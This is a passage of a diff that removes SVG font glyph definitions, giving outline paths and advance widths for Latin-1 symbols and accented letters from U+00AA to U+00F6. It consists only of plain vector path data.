-<glyph
-                unicode="&#xaa;"
-                horiz-adv-x="452"
-                d="M373 473l57 -42v-11h-111v43q-45 -52 -109 -52q-68 0 -116.5 49.5t-48.5 117.5t48.5 117.5t116.5 49.5q63 0 109 -54l44 54h10v-272zM210 463q47 0 78 33t31 82t-31 82t-78 33q-48 0 -78.5 -32.5t-30.5 -82.5t30.5 -82.5t78.5 -32.5z"
-            />
-<glyph unicode="&#xab;" horiz-adv-x="503" d="M261 401l-142 -151l142 -151v-71l-211 222l211 222v-71zM443 401l-142 -151l142 -151v-71l-211 222l211 222v-71z" />
-<glyph unicode="&#xac;" horiz-adv-x="663" d="M618 191h-63v246h-510v63h573v-309z" />
-<glyph unicode="&#xad;" horiz-adv-x="365" d="M320 260h-275v54h275v-54z" />
-<glyph
-                unicode="&#xae;"
-                horiz-adv-x="784"
-                d="M392 695q145 0 247.5 -105t102.5 -250t-102.5 -250t-247.5 -105t-247.5 105t-102.5 250t102.5 250t247.5 105zM392 648q-123 0 -211 -91.5t-88 -216.5t88 -216.5t211 -91.5t211 91.5t88 216.5t-88 216.5t-211 91.5zM578 157h-83l-151 201v8h42q90 0 90 66q0 71 -90 71 h-49v-317l46 -23v-6h-136v6l44 24v323l-44 24v6h160q50 0 84 -30t34 -78q0 -47 -35 -73.5t-83 -28.5l119 -140l52 -27v-6z"
-            />
-<glyph unicode="&#xaf;" horiz-adv-x="407" d="M365 612h-323v53h323v-53z" />
-<glyph
-                unicode="&#xb0;"
-                horiz-adv-x="312"
-                d="M156 697q49 0 81.5 -32t32.5 -81t-32.5 -81t-81.5 -32t-81.5 32t-32.5 81t32.5 81t81.5 32zM156 657q-31 0 -52 -21t-21 -52t21 -52t52 -21t52 21t21 52t-21 52t-52 21z"
-            />
-<glyph unicode="&#xb1;" horiz-adv-x="487" d="M446 348v-50h-182v-160h-49v160h-174v50h174v163h49v-163h182zM41 84h405v-50h-405v50z" />
-<glyph unicode="&#xb4;" horiz-adv-x="305" d="M59 570h-17l105 155h116z" />
-<glyph
-                unicode="&#xb6;"
-                horiz-adv-x="642"
-                d="M592 680v-11l-77 -42v-852h-63v848h-70v-848h-63v461h-21q-104 0 -180.5 57.5t-76.5 167.5q0 75 38 126t93 72t121 21h299z"
-            />
-<glyph unicode="&#xb7;" horiz-adv-x="209" d="M104 355q20 0 35 -15.5t15 -35.5q0 -19 -15 -33.5t-35 -14.5q-21 0 -35 14t-14 34q0 21 14 36t35 15z" />
-<glyph unicode="&#xb8;" horiz-adv-x="220" d="M107 0l-11 -49q32 0 57 -14.5t25 -44.5q0 -43 -42.5 -70.5t-92.5 -32.5l-1 10q78 35 78 80q0 42 -56 42l18 79h25z" />
-<glyph
-                unicode="&#xba;"
-                horiz-adv-x="414"
-                d="M207 411q68 0 116.5 49.5t48.5 117.5t-48.5 117.5t-116.5 49.5t-116.5 -49.5t-48.5 -117.5t48.5 -117.5t116.5 -49.5zM207 693q48 0 78.5 -32.5t30.5 -82.5t-30.5 -82.5t-78.5 -32.5t-78.5 32.5t-30.5 82.5t30.5 82.5t78.5 32.5z"
-            />
-<glyph unicode="&#xbb;" horiz-adv-x="503" d="M271 250l-211 -222v71l142 151l-142 151v71zM453 250l-211 -222v71l142 151l-142 151v71z" />
-<glyph
-                unicode="&#xbc;"
-                horiz-adv-x="836"
-                d="M276 0h-56l409 695h56zM221 343l80 -34v-9h-221v9l90 34v263l-90 22v9l131 43h10v-337zM699 33l53 -27v-6h-157v6l53 27v66h-176v8l222 273h5v-237h57l-6 -44h-51v-66zM648 260l-90 -117h90v117z"
-            />
-<glyph
-                unicode="&#xbd;"
-                horiz-adv-x="881"
-                d="M685 695l-409 -695h-56l409 695h56zM221 680v-337l80 -34v-9h-221v9l90 34v263l-90 22v9l131 43h10zM678 386q50 0 84 -27t34 -78q0 -26 -13.5 -52.5t-30 -47t-52.5 -61.5t-61 -74h109l46 47h7v-93h-242v12q30 38 78.5 99.5t66.5 83.5q39 47 39 82q0 29 -17.5 47 t-50.5 18q-59 0 -96 -59h-7v62q39 41 106 41z"
-            />
-<glyph
-                unicode="&#xbe;"
-                horiz-adv-x="836"
-                d="M276 0h-56l409 695h56zM190 690q52 0 87.5 -28t35.5 -78q0 -56 -72 -86q80 -25 80 -90q0 -53 -38.5 -83.5t-97.5 -30.5q-54 0 -105 37v62h7q41 -51 103 -51q35 0 56.5 17t21.5 48q0 30 -21.5 47.5t-56.5 17.5h-37v46h37q34 0 52.5 17.5t18.5 45.5t-18.5 45t-52.5 17 q-52 0 -88 -38h-6v57q41 28 94 28zM699 33l43 -27v-6h-137v6l43 27v66h-176v8l222 273h5v-237h57l-6 -44h-51v-66zM648 260l-90 -117h90v117z"
-            />
-<glyph
-                unicode="&#xbf;"
-                horiz-adv-x="470"
-                d="M276 596q-20 0 -35 15.5t-15 35.5q0 19 15 33.5t35 14.5q21 0 35 -14t14 -34q0 -21 -14 -36t-35 -15zM247 -15q-87 0 -139.5 47.5t-52.5 124.5q0 44 20 79.5t49 61.5t58.5 51.5t53.5 62.5t29 81h17q0 -45 -16.5 -85.5t-39.5 -70t-46 -57.5t-39.5 -59.5t-16.5 -64.5 q0 -54 36.5 -85t89.5 -31q36 0 68 18.5t46.5 35t38.5 49.5h12v-89q-78 -69 -168 -69z"
-            />
-<glyph
-                unicode="&#xc0;"
-                horiz-adv-x="742"
-                d="M438 750h-17l-204 155h116zM641 65l76 -54v-11h-217v11l77 41l-72 174h-272l-70 -173h5l77 -42v-11h-220v11l77 55l264 630h12zM255 282h227l-115 279z"
-            />
-<glyph
-                unicode="&#xc1;"
-                horiz-adv-x="742"
-                d="M535 905l-204 -155h-17l105 155h116zM641 65l76 -54v-11h-217v11l77 41l-72 174h-272l-70 -173h5l77 -42v-11h-220v11l77 55l264 630h12zM255 282h227l-115 279z"
-            />
-<glyph
-                unicode="&#xc2;"
-                horiz-adv-x="742"
-                d="M372 817l-140 -76l-15 10l155 143l157 -143l-17 -10zM641 65l76 -54v-11h-217v11l77 41l-72 174h-272l-70 -173h5l77 -42v-11h-220v11l77 55l264 630h12zM255 282h227l-115 279z"
-            />
-<glyph
-                unicode="&#xc3;"
-                horiz-adv-x="742"
-                d="M234 789h-13q-1 47 24.5 71t59.5 24q28 0 83 -24t76 -24q18 0 30.5 13t16.5 33h13q0 -49 -24.5 -72t-59.5 -23q-28 0 -83 24t-76 24q-36 0 -47 -46zM641 65l76 -54v-11h-217v11l77 41l-72 174h-272l-70 -173h5l77 -42v-11h-220v11l77 55l264 630h12zM255 282h227 l-115 279z"
-            />
-<glyph
-                unicode="&#xc4;"
-                horiz-adv-x="742"
-                d="M274 784q-23 0 -38.5 15t-15.5 38t15.5 38t38.5 15q22 0 37.5 -15t15.5 -38t-15.5 -38t-37.5 -15zM469 784q-21 0 -36.5 15t-15.5 38t15.5 38t36.5 15q23 0 39 -15t16 -38t-16 -38t-39 -15zM641 65l76 -54v-11h-217v11l77 41l-72 174h-272l-70 -173h5l77 -42v-11h-220v11 l77 55l264 630h12zM255 282h227l-115 279z"
-            />
-<glyph
-                unicode="&#xc5;"
-                horiz-adv-x="742"
-                d="M372 758q-40 0 -67.5 25.5t-27.5 65.5t27.5 65.5t67.5 25.5t67.5 -25.5t27.5 -65.5t-27.5 -65.5t-67.5 -25.5zM372 900q-22 0 -36 -14.5t-14 -36.5t14 -36.5t36 -14.5t36 14.5t14 36.5t-14 36.5t-36 14.5zM641 65l76 -54v-11h-217v11l77 41l-72 174h-272l-70 -173h5 l77 -42v-11h-220v11l77 55l264 630h12zM255 282h227l-115 279z"
-            />
-<glyph
-                unicode="&#xc6;"
-                horiz-adv-x="1008"
-                d="M923 159h10v-159h-469v11l78 42v128h-272l-96 -132l70 -38v-11h-219v11l72 39l427 587l-60 32v11h458v-119h-10l-51 65h-256v-249h220l43 47h8v-150h-8l-43 47h-220v-267h261zM311 237h231v318z"
-            />
-<glyph
-                unicode="&#xc7;"
-                horiz-adv-x="748"
-                d="M406 636q-126 0 -207.5 -83.5t-81.5 -212.5t81.5 -212.5t207.5 -83.5q165 0 245 135h12v-194h-11l-52 56q-83 -53 -180 -56l-8 -34q32 0 57 -14.5t25 -44.5q0 -43 -42.5 -70.5t-92.5 -32.5l-1 10q78 35 78 80q0 42 -56 42l15 64q-154 7 -249.5 108t-95.5 247 q0 150 101 252.5t261 102.5q103 0 189 -56l51 56h11v-194h-12q-80 135 -245 135z"
-            />
-<glyph
-                unicode="&#xc8;"
-                horiz-adv-x="594"
-                d="M378 750h-17l-204 155h116zM509 159h10v-159h-469v11l78 42v574l-78 42v11h458v-119h-10l-51 65h-256v-249h220l43 47h8v-150h-8l-43 47h-220v-267h261z"
-            />
-<glyph
-                unicode="&#xc9;"
-                horiz-adv-x="594"
-                d="M475 905l-204 -155h-17l105 155h116zM509 159h10v-159h-469v11l78 42v574l-78 42v11h458v-119h-10l-51 65h-256v-249h220l43 47h8v-150h-8l-43 47h-220v-267h261z"
-            />
-<glyph
-                unicode="&#xca;"
-                horiz-adv-x="594"
-                d="M312 817l-140 -76l-15 10l155 143l157 -143l-17 -10zM509 159h10v-159h-469v11l78 42v574l-78 42v11h458v-119h-10l-51 65h-256v-249h220l43 47h8v-150h-8l-43 47h-220v-267h261z"
-            />
-<glyph
-                unicode="&#xcb;"
-                horiz-adv-x="594"
-                d="M214 784q-23 0 -38.5 15t-15.5 38t15.5 38t38.5 15q22 0 37.5 -15t15.5 -38t-15.5 -38t-37.5 -15zM409 784q-21 0 -36.5 15t-15.5 38t15.5 38t36.5 15q23 0 39 -15t16 -38t-16 -38t-39 -15zM509 159h10v-159h-469v11l78 42v574l-78 42v11h458v-119h-10l-51 65h-256v-249 h220l43 47h8v-150h-8l-43 47h-220v-267h261z"
-            />
-<glyph unicode="&#xcc;" horiz-adv-x="318" d="M233 750h-17l-204 155h116zM268 669l-77 -42v-574l77 -42v-11h-218v11l78 42v574l-78 42v11h218v-11z" />
-<glyph unicode="&#xcd;" horiz-adv-x="318" d="M330 905l-204 -155h-17l105 155h116zM50 680h218v-11l-77 -42v-574l77 -42v-11h-218v11l78 42v574l-78 42v11z" />
-<glyph
-                unicode="&#xce;"
-                horiz-adv-x="318"
-                d="M167 894l157 -143l-17 -10l-140 76l-140 -76l-15 10zM50 680h218v-11l-77 -42v-574l77 -42v-11h-218v11l78 42v574l-78 42v11z"
-            />
-<glyph
-                unicode="&#xcf;"
-                horiz-adv-x="318"
-                d="M122 837q0 -23 -15.5 -38t-37.5 -15q-23 0 -38.5 15t-15.5 38t15.5 38t38.5 15q22 0 37.5 -15t15.5 -38zM264 890q23 0 39 -15t16 -38t-16 -38t-39 -15q-21 0 -36.5 15t-15.5 38t15.5 38t36.5 15zM50 680h218v-11l-77 -42v-574l77 -42v-11h-218v11l78 42v574l-78 42v11z "
-            />
-<glyph
-                unicode="&#xd0;"
-                horiz-adv-x="719"
-                d="M50 680h241q172 0 275 -94t103 -246q0 -149 -103 -244.5t-275 -95.5h-241v11l77 41v235h-72v54h72v287l-77 41v11zM191 57h100q139 0 223.5 77.5t84.5 205.5q0 131 -84 207t-224 76h-100v-282h139v-54h-139v-230z"
-            />
-<glyph
-                unicode="&#xd1;"
-                horiz-adv-x="798"
-                d="M253 789h-13q-1 47 24.5 71t59.5 24q28 0 83 -24t76 -24q18 0 30.5 13t16.5 33h13q0 -49 -24.5 -72t-59.5 -23q-28 0 -83 24t-76 24q-36 0 -47 -46zM537 680h221v-11l-77 -42v-642h-9l-478 584v-516l77 -42v-11h-221v11l78 42v562l-76 59v7h135l428 -522v468l-78 42v11z "
-            />
-<glyph
-                unicode="&#xd2;"
-                horiz-adv-x="792"
-                d="M357 905l105 -155h-17l-204 155h116zM396 695q147 0 251 -101.5t104 -253.5q0 -150 -104 -252.5t-251 -102.5q-146 0 -250.5 103t-104.5 252q0 152 104 253.5t251 101.5zM396 636q-124 0 -204.5 -86.5t-80.5 -209.5q0 -121 81 -208.5t204 -87.5q124 0 204.5 87.5 t80.5 208.5q0 124 -80 210t-205 86z"
-            />
-<glyph
-                unicode="&#xd3;"
-                horiz-adv-x="792"
-                d="M355 750h-17l105 155h116zM396 695q147 0 251 -101.5t104 -253.5q0 -150 -104 -252.5t-251 -102.5q-146 0 -250.5 103t-104.5 252q0 152 104 253.5t251 101.5zM396 636q-124 0 -204.5 -86.5t-80.5 -209.5q0 -121 81 -208.5t204 -87.5q124 0 204.5 87.5t80.5 208.5 q0 124 -80 210t-205 86z"
-            />
-<glyph
-                unicode="&#xd4;"
-                horiz-adv-x="792"
-                d="M553 751l-17 -10l-140 76l-140 -76l-15 10l155 143zM396 695q147 0 251 -101.5t104 -253.5q0 -150 -104 -252.5t-251 -102.5q-146 0 -250.5 103t-104.5 252q0 152 104 253.5t251 101.5zM396 636q-124 0 -204.5 -86.5t-80.5 -209.5q0 -121 81 -208.5t204 -87.5 q124 0 204.5 87.5t80.5 208.5q0 124 -80 210t-205 86z"
-            />
-<glyph
-                unicode="&#xd5;"
-                horiz-adv-x="792"
-                d="M535 882h13q0 -49 -24.5 -72t-59.5 -23q-28 0 -83 24t-76 24q-36 0 -47 -46h-13q-1 47 24.5 71t59.5 24q28 0 83 -24t76 -24q18 0 30.5 13t16.5 33zM396 695q147 0 251 -101.5t104 -253.5q0 -150 -104 -252.5t-251 -102.5q-146 0 -250.5 103t-104.5 252q0 152 104 253.5 t251 101.5zM396 636q-124 0 -204.5 -86.5t-80.5 -209.5q0 -121 81 -208.5t204 -87.5q124 0 204.5 87.5t80.5 208.5q0 124 -80 210t-205 86z"
-            />
-<glyph
-                unicode="&#xd6;"
-                horiz-adv-x="792"
-                d="M298 890q22 0 37.5 -15t15.5 -38t-15.5 -38t-37.5 -15q-23 0 -38.5 15t-15.5 38t15.5 38t38.5 15zM493 890q23 0 39 -15t16 -38t-16 -38t-39 -15q-21 0 -36.5 15t-15.5 38t15.5 38t36.5 15zM396 695q147 0 251 -101.5t104 -253.5q0 -150 -104 -252.5t-251 -102.5 q-146 0 -250.5 103t-104.5 252q0 152 104 253.5t251 101.5zM396 636q-124 0 -204.5 -86.5t-80.5 -209.5q0 -121 81 -208.5t204 -87.5q124 0 204.5 87.5t80.5 208.5q0 124 -80 210t-205 86z"
-            />
-<glyph unicode="&#xd7;" horiz-adv-x="404" d="M327 119l-125 125l-119 -119l-37 37l119 119l-124 125l35 35l125 -124l119 119l37 -38l-119 -119l124 -124z" />
-<glyph
-                unicode="&#xd8;"
-                horiz-adv-x="792"
-                d="M670 685l-47 -69q60 -49 94 -120.5t34 -155.5q0 -150 -104 -252.5t-251 -102.5q-93 0 -174 45l-41 -60l-46 30l41 61q-63 49 -99 121.5t-36 157.5q0 152 104 253.5t251 101.5q99 0 181 -48l47 68zM111 340q0 -138 101 -228l331 484q-65 40 -147 40q-124 0 -204.5 -86.5 t-80.5 -209.5zM396 44q124 0 204.5 87.5t80.5 208.5q0 138 -94 224l-330 -484q63 -36 139 -36z"
-            />
-<glyph
-                unicode="&#xd9;"
-                horiz-adv-x="755"
-                d="M425 750l-204 155h116l105 -155h-17zM725 680v-11l-77 -42v-369q0 -125 -77 -199t-196 -74q-118 0 -192.5 73.5t-74.5 199.5v369l-78 42v11h218v-11l-77 -42v-374q0 -91 57.5 -150t146.5 -59q90 0 150 56t60 147v380l-78 42v11h218z"
-            />
-<glyph
-                unicode="&#xda;"
-                horiz-adv-x="755"
-                d="M335 750h-17l105 155h116zM725 680v-11l-77 -42v-369q0 -125 -77 -199t-196 -74q-118 0 -192.5 73.5t-74.5 199.5v369l-78 42v11h218v-11l-77 -42v-374q0 -91 57.5 -150t146.5 -59q90 0 150 56t60 147v380l-78 42v11h218z"
-            />
-<glyph
-                unicode="&#xdb;"
-                horiz-adv-x="755"
-                d="M236 741l-15 10l155 143l157 -143l-17 -10l-140 76zM725 680v-11l-77 -42v-369q0 -125 -77 -199t-196 -74q-118 0 -192.5 73.5t-74.5 199.5v369l-78 42v11h218v-11l-77 -42v-374q0 -91 57.5 -150t146.5 -59q90 0 150 56t60 147v380l-78 42v11h218z"
-            />
-<glyph
-                unicode="&#xdc;"
-                horiz-adv-x="755"
-                d="M278 784q-23 0 -38.5 15t-15.5 38t15.5 38t38.5 15q22 0 37.5 -15t15.5 -38t-15.5 -38t-37.5 -15zM473 784q-21 0 -36.5 15t-15.5 38t15.5 38t36.5 15q23 0 39 -15t16 -38t-16 -38t-39 -15zM725 680v-11l-77 -42v-369q0 -125 -77 -199t-196 -74q-118 0 -192.5 73.5 t-74.5 199.5v369l-78 42v11h218v-11l-77 -42v-374q0 -91 57.5 -150t146.5 -59q90 0 150 56t60 147v380l-78 42v11h218z"
-            />
-<glyph
-                unicode="&#xdd;"
-                horiz-adv-x="705"
-                d="M313 750h-17l105 155h116zM680 680v-11l-64 -39l-227 -359v-210l89 -50v-11h-242v11l90 50v209l-220 347l-81 52v11h217v-11l-67 -37l187 -301l178 304l-63 34v11h203zM357 220l-2 -3l3 2z"
-            />
-<glyph
-                unicode="&#xde;"
-                horiz-adv-x="627"
-                d="M191 544h162q102 0 167.5 -51.5t65.5 -150.5q0 -98 -66 -150t-167 -52h-162v-87l77 -42v-11h-218v11l78 42v574l-78 42v11h218v-11l-77 -42v-83zM191 196h157q76 0 122 38.5t46 107.5q0 70 -45.5 108t-122.5 38h-157v-292z"
-            />
-<glyph
-                unicode="&#xdf;"
-                horiz-adv-x="635"
-                d="M461 260q67 -35 99.5 -64.5t32.5 -73.5q0 -55 -46 -96t-122 -41q-36 0 -68 8.5t-48 16t-45 24.5v83h11q66 -74 158 -74q41 0 68 19.5t27 55.5q0 28 -25.5 50t-86.5 53q-39 20 -56 29.5t-39.5 26.5t-30.5 36t-8 44q0 72 96 129q35 21 54 41t19 48q0 47 -37 79.5t-91 32.5 q-63 0 -101 -39.5t-38 -108.5v-539h-139v11l78 42v393h-66v54h66v59q0 72 49.5 129t138.5 57q91 0 148 -50.5t57 -123.5q0 -29 -14 -52t-29 -34.5t-46 -30.5q-28 -17 -41.5 -27.5t-26 -29t-12.5 -40.5q0 -37 103 -91q8 -4 11 -6z"
-            />
-<glyph
-                unicode="&#xe0;"
-                horiz-adv-x="552"
-                d="M322 567h-17l-204 155h116zM453 53l77 -42v-11h-126l-1 76q-65 -91 -185 -91q-72 0 -122.5 41.5t-50.5 113.5t55 112.5t138 40.5q70 0 154 -38v66q0 62 -42 98t-106 36q-46 0 -85 -20t-61 -56l-10 5v67q66 62 166 62q92 0 145.5 -50.5t53.5 -139.5v-270zM392 163v39 q-69 33 -154 33q-56 0 -92 -25t-36 -70q0 -48 32 -72.5t86 -24.5q57 0 110.5 37.5t53.5 82.5z"
-            />
-<glyph
-                unicode="&#xe1;"
-                horiz-adv-x="552"
-                d="M419 722l-204 -155h-17l105 155h116zM453 53l77 -42v-11h-126l-1 76q-65 -91 -185 -91q-72 0 -122.5 41.5t-50.5 113.5t55 112.5t138 40.5q70 0 154 -38v66q0 62 -42 98t-106 36q-46 0 -85 -20t-61 -56l-10 5v67q66 62 166 62q92 0 145.5 -50.5t53.5 -139.5v-270z M392 163v39q-69 33 -154 33q-56 0 -92 -25t-36 -70q0 -48 32 -72.5t86 -24.5q57 0 110.5 37.5t53.5 82.5z"
-            />
-<glyph
-                unicode="&#xe2;"
-                horiz-adv-x="552"
-                d="M256 634l-140 -76l-15 10l155 143l157 -143l-17 -10zM453 53l77 -42v-11h-126l-1 76q-65 -91 -185 -91q-72 0 -122.5 41.5t-50.5 113.5t55 112.5t138 40.5q70 0 154 -38v66q0 62 -42 98t-106 36q-46 0 -85 -20t-61 -56l-10 5v67q66 62 166 62q92 0 145.5 -50.5 t53.5 -139.5v-270zM392 163v39q-69 33 -154 33q-56 0 -92 -25t-36 -70q0 -48 32 -72.5t86 -24.5q57 0 110.5 37.5t53.5 82.5z"
-            />
-<glyph
-                unicode="&#xe3;"
-                horiz-adv-x="552"
-                d="M118 606h-13q-1 47 24.5 71t59.5 24q28 0 83 -24t76 -24q18 0 30.5 13t16.5 33h13q0 -49 -24.5 -72t-59.5 -23q-28 0 -83 24t-76 24q-36 0 -47 -46zM453 53l77 -42v-11h-126l-1 76q-65 -91 -185 -91q-72 0 -122.5 41.5t-50.5 113.5t55 112.5t138 40.5q70 0 154 -38v66 q0 62 -42 98t-106 36q-46 0 -85 -20t-61 -56l-10 5v67q66 62 166 62q92 0 145.5 -50.5t53.5 -139.5v-270zM392 163v39q-69 33 -154 33q-56 0 -92 -25t-36 -70q0 -48 32 -72.5t86 -24.5q57 0 110.5 37.5t53.5 82.5z"
-            />
-<glyph
-                unicode="&#xe4;"
-                horiz-adv-x="552"
-                d="M158 601q-23 0 -38.5 15t-15.5 38t15.5 38t38.5 15q22 0 37.5 -15t15.5 -38t-15.5 -38t-37.5 -15zM353 601q-21 0 -36.5 15t-15.5 38t15.5 38t36.5 15q23 0 39 -15t16 -38t-16 -38t-39 -15zM453 53l77 -42v-11h-126l-1 76q-65 -91 -185 -91q-72 0 -122.5 41.5 t-50.5 113.5t55 112.5t138 40.5q70 0 154 -38v66q0 62 -42 98t-106 36q-46 0 -85 -20t-61 -56l-10 5v67q66 62 166 62q92 0 145.5 -50.5t53.5 -139.5v-270zM392 163v39q-69 33 -154 33q-56 0 -92 -25t-36 -70q0 -48 32 -72.5t86 -24.5q57 0 110.5 37.5t53.5 82.5z"
-            />
-<glyph
-                unicode="&#xe5;"
-                horiz-adv-x="552"
-                d="M256 575q-40 0 -67.5 25.5t-27.5 65.5t27.5 65.5t67.5 25.5t67.5 -25.5t27.5 -65.5t-27.5 -65.5t-67.5 -25.5zM256 717q-22 0 -36 -14.5t-14 -36.5t14 -36.5t36 -14.5t36 14.5t14 36.5t-14 36.5t-36 14.5zM453 53l77 -42v-11h-126l-1 76q-65 -91 -185 -91 q-72 0 -122.5 41.5t-50.5 113.5t55 112.5t138 40.5q70 0 154 -38v66q0 62 -42 98t-106 36q-46 0 -85 -20t-61 -56l-10 5v67q66 62 166 62q92 0 145.5 -50.5t53.5 -139.5v-270zM392 163v39q-69 33 -154 33q-56 0 -92 -25t-36 -70q0 -48 32 -72.5t86 -24.5q57 0 110.5 37.5 t53.5 82.5z"
-            />
-<glyph
-                unicode="&#xe6;"
-                horiz-adv-x="931"
-                d="M879 232h-420q0 -79 57.5 -134t135.5 -55q115 0 172 68l11 -2v-71q-74 -53 -186 -53q-63 0 -120 31.5t-92 87.5q-31 -57 -87 -88t-129 -31q-72 0 -124 41.5t-52 113.5t56 112.5t140 40.5q70 0 154 -38v66q0 62 -42 98t-106 36q-46 0 -87.5 -20t-63.5 -56l-10 5v67 q66 62 171 62q68 0 116.5 -29t68.5 -82q35 52 88.5 81.5t115.5 29.5q103 0 168 -72t65 -195v-14zM458 286h352q0 74 -43.5 121.5t-121.5 47.5q-76 0 -131.5 -54t-55.5 -115zM395 163v39q-76 36 -154 36q-56 0 -93.5 -26.5t-37.5 -71.5q0 -48 34 -74t87 -26q63 0 113.5 38 t50.5 85z"
-            />
-<glyph
-                unicode="&#xe7;"
-                horiz-adv-x="534"
-                d="M280 -14l-8 -35q32 0 57 -14.5t25 -44.5q0 -43 -42.5 -70.5t-92.5 -32.5l-1 10q78 35 78 80q0 42 -56 42l15 68q-92 17 -152.5 90.5t-60.5 169.5q0 109 76 186.5t184 77.5q28 0 51 -5.5t35 -11t34 -17.5l39 34h10v-147h-10q-34 44 -70.5 66.5t-87.5 22.5 q-85 0 -140.5 -59.5t-55.5 -146.5t55.5 -146.5t140.5 -59.5q108 0 158 71l10 1l1 -73q-26 -25 -73 -41t-97 -16q-15 0 -22 1z"
-            />
-<glyph
-                unicode="&#xe8;"
-                horiz-adv-x="576"
-                d="M251 725l105 -155h-17l-204 155h116zM291 513q103 0 168 -72t65 -195v-14h-420q0 -79 57.5 -134t135.5 -55q115 0 172 68l11 -2v-71q-74 -53 -186 -53q-100 0 -176 74.5t-76 189.5q0 111 73.5 187.5t175.5 76.5zM290 455q-76 0 -131.5 -54t-55.5 -115h352 q0 74 -43.5 121.5t-121.5 47.5z"
-            />
-<glyph
-                unicode="&#xe9;"
-                horiz-adv-x="576"
-                d="M249 570h-17l105 155h116zM291 513q103 0 168 -72t65 -195v-14h-420q0 -79 57.5 -134t135.5 -55q115 0 172 68l11 -2v-71q-74 -53 -186 -53q-100 0 -176 74.5t-76 189.5q0 111 73.5 187.5t175.5 76.5zM290 455q-76 0 -131.5 -54t-55.5 -115h352q0 74 -43.5 121.5 t-121.5 47.5z"
-            />
-<glyph
-                unicode="&#xea;"
-                horiz-adv-x="576"
-                d="M447 571l-17 -10l-140 76l-140 -76l-15 10l155 143zM291 513q103 0 168 -72t65 -195v-14h-420q0 -79 57.5 -134t135.5 -55q115 0 172 68l11 -2v-71q-74 -53 -186 -53q-100 0 -176 74.5t-76 189.5q0 111 73.5 187.5t175.5 76.5zM290 455q-76 0 -131.5 -54t-55.5 -115h352 q0 74 -43.5 121.5t-121.5 47.5z"
-            />
-<glyph
-                unicode="&#xeb;"
-                horiz-adv-x="576"
-                d="M192 710q22 0 37.5 -15t15.5 -38t-15.5 -38t-37.5 -15q-23 0 -38.5 15t-15.5 38t15.5 38t38.5 15zM387 710q23 0 39 -15t16 -38t-16 -38t-39 -15q-21 0 -36.5 15t-15.5 38t15.5 38t36.5 15zM291 513q103 0 168 -72t65 -195v-14h-420q0 -79 57.5 -134t135.5 -55 q115 0 172 68l11 -2v-71q-74 -53 -186 -53q-100 0 -176 74.5t-76 189.5q0 111 73.5 187.5t175.5 76.5zM290 455q-76 0 -131.5 -54t-55.5 -115h352q0 74 -43.5 121.5t-121.5 47.5z"
-            />
-<glyph unicode="&#xec;" horiz-adv-x="300" d="M215 570h-17l-204 155h116zM196 53l77 -42v-11h-215v11l77 41v369l-90 57v9l151 25v-459z" />
-<glyph unicode="&#xed;" horiz-adv-x="300" d="M312 725l-204 -155h-17l105 155h116zM196 512v-459l77 -42v-11h-215v11l77 41v369l-90 57v9z" />
-<glyph unicode="&#xee;" horiz-adv-x="300" d="M149 714l157 -143l-17 -10l-140 76l-140 -76l-15 10zM196 512v-459l77 -42v-11h-215v11l77 41v369l-90 57v9z" />
-<glyph
-                unicode="&#xef;"
-                horiz-adv-x="300"
-                d="M104 657q0 -23 -15.5 -38t-37.5 -15q-23 0 -38.5 15t-15.5 38t15.5 38t38.5 15q22 0 37.5 -15t15.5 -38zM246 710q23 0 39 -15t16 -38t-16 -38t-39 -15q-21 0 -36.5 15t-15.5 38t15.5 38t36.5 15zM196 512v-459l77 -42v-11h-215v11l77 41v369l-90 57v9z"
-            />
-<glyph
-                unicode="&#xf0;"
-                horiz-adv-x="598"
-                d="M485 706l-101 -57q172 -139 172 -384q0 -115 -74.5 -197.5t-183.5 -82.5q-108 0 -182 77t-74 186q0 110 74 187.5t182 77.5q87 0 170 -74q-12 46 -49 94t-91 85l-146 -82l-27 39l127 71q-80 43 -165 43v56q119 0 224 -66l117 66zM298 43q85 0 138 59t53 147t-53 147 t-138 59t-138 -59t-53 -147t53 -147t138 -59z"
-            />
-<glyph
-                unicode="&#xf1;"
-                horiz-adv-x="629"
-                d="M183 609h-13q-1 47 24.5 71t59.5 24q28 0 83 -24t76 -24q18 0 30.5 13t16.5 33h13q0 -49 -24.5 -72t-59.5 -23q-28 0 -83 24t-76 24q-36 0 -47 -46zM530 53l77 -42v-11h-216v11l78 42v252q0 75 -40 112.5t-103 37.5q-131 0 -142 -126v-276l77 -42v-11h-216v11l78 42v381 l-77 44v9l126 26l7 -67l1 -13q23 33 66 56.5t95 23.5q88 0 138.5 -54t50.5 -159v-247z"
-            />
-<glyph
-                unicode="&#xf2;"
-                horiz-adv-x="606"
-                d="M266 725l105 -155h-17l-204 155h116zM303 513q108 0 184.5 -78t76.5 -186q0 -109 -76.5 -186.5t-184.5 -77.5q-109 0 -185 77t-76 187q0 108 76.5 186t184.5 78zM303 455q-85 0 -140.5 -59.5t-55.5 -146.5t55.5 -146.5t140.5 -59.5t140.5 59.5t55.5 146.5t-55.5 146.5 t-140.5 59.5z"
-            />
-<glyph
-                unicode="&#xf3;"
-                horiz-adv-x="606"
-                d="M264 570h-17l105 155h116zM303 513q108 0 184.5 -78t76.5 -186q0 -109 -76.5 -186.5t-184.5 -77.5q-109 0 -185 77t-76 187q0 108 76.5 186t184.5 78zM303 455q-85 0 -140.5 -59.5t-55.5 -146.5t55.5 -146.5t140.5 -59.5t140.5 59.5t55.5 146.5t-55.5 146.5t-140.5 59.5z "
-            />
-<glyph
-                unicode="&#xf4;"
-                horiz-adv-x="606"
-                d="M462 571l-17 -10l-140 76l-140 -76l-15 10l155 143zM303 513q108 0 184.5 -78t76.5 -186q0 -109 -76.5 -186.5t-184.5 -77.5q-109 0 -185 77t-76 187q0 108 76.5 186t184.5 78zM303 455q-85 0 -140.5 -59.5t-55.5 -146.5t55.5 -146.5t140.5 -59.5t140.5 59.5t55.5 146.5 t-55.5 146.5t-140.5 59.5z"
-            />
-<glyph
-                unicode="&#xf5;"
-                horiz-adv-x="606"
-                d="M444 702h13q0 -49 -24.5 -72t-59.5 -23q-28 0 -83 24t-76 24q-36 0 -47 -46h-13q-1 47 24.5 71t59.5 24q28 0 83 -24t76 -24q18 0 30.5 13t16.5 33zM303 513q108 0 184.5 -78t76.5 -186q0 -109 -76.5 -186.5t-184.5 -77.5q-109 0 -185 77t-76 187q0 108 76.5 186 t184.5 78zM303 455q-85 0 -140.5 -59.5t-55.5 -146.5t55.5 -146.5t140.5 -59.5t140.5 59.5t55.5 146.5t-55.5 146.5t-140.5 59.5z"
-            />
-<glyph
-                unicode="&#xf6;"
-                horiz-adv-x="606"
